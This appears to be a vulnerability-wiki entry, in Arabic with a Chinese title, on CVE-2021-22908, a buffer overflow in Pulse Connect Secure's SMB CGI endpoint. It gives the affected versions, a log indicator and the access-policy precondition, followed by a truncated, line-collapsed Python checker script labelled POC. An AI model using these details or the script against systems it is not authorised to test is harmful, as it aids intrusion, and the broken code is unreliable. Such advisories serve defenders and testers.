# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/ar
== وصف الثغرة ==
نظرًا لأن PCS يدعم الاتصال بمشاركة ملفات Windows (SMB) ، يتم توفير الوظيفة بواسطة البرامج النصية CGI المستندة إلى مكتبات Samba 4.5.10 والتطبيقات المساعدة. عند تحديد اسم خادم طويل لعمليات SMB معينة ، قد يتعطل تطبيق smbclt بسبب تجاوز سعة المخزن المؤقت ، اعتمادًا على طول اسم الخادم المحدد.
تم التأكد من أن نظام PCS 9.1R11.4 به هذه الثغرة الأمنية ، ونقطة نهاية CGI المستهدفة هي /dana/fb/smb/wnf.cgi
. قد تؤدي نقاط نهاية CGI الأخرى أيضًا إلى تشغيل هذه الثغرة الأمنية.
إذا فشل المهاجم في التنظيف بعد نجاح استغلال هذه الثغرة الأمنية ، فقد يؤدي تحديد اسم خادم طويل إلى إدخالات سجل أحداث PCS التالية:
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
ولكن لاستغلال هذه الثغرة الأمنية ، يجب أن يكون لدى خادم PCS سياسة وصول إلى ملفات Windows تسمح بـ \\ * أو سياسة أخرى تسمح للمهاجمين بالاتصال بأي خادم. يمكنك عرض سياسة SMB الحالية من خلال عرض المستخدم-> سياسة الموارد-> سياسة الوصول إلى ملفات Windows في صفحة إدارة PCS. تستخدم أجهزة 9.1R2 وأجهزة PCS الأقدم السياسة الافتراضية للسماح بالاتصالات بأي مضيف SMB. بدءًا من 9.1R3 ، تم تغيير هذه السياسة من الإذن الافتراضي إلى الرفض الافتراضي.
== نطاق التأثير ==
Pulse Connect Secure 9.0RX and 9.1RX
==POC==
#!/usr/bin/env python3 # Utility to check for Pulse Connect Secure CVE-2021-22908 # https://www.kb.cert.org/vuls/id/667933 import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning import argparse import sys from html.parser import HTMLParser import getpass parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908') parser.add_argument('host', type=str, help='PCS IP or hostname)') parser.add_argument('-u', '--user', dest='user', type=str, help='username') parser.add_argument('-p', '--pass', dest='password', type=str, help='password') parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm') parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID') parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth') parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround') args = parser.parse_args() requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class formvaluefinder(HTMLParser): def __init__(self, searchval): super(type (self), self).__init__() self.searchval = searchval def handle_starttag(self, tag, attrs): if tag == 'input': # We're just looking for form tags foundelement = False for attr in attrs: if(attr[0] == 'name'): if(attr[1] == self.searchval): foundelement = True elif(attr[0] == 'value' and foundelement == True): self.data = attr[1] class preauthfinder(HTMLParser): foundelement = False def handle_starttag(self, tag, attrs): if tag == 'textarea': # We're just looking for
== المرجع ==
https://short.pwnwiki.org/?c=1NiPen
https://short.pwnwiki.org/?c=2Um6Rb
请登录后查看评论内容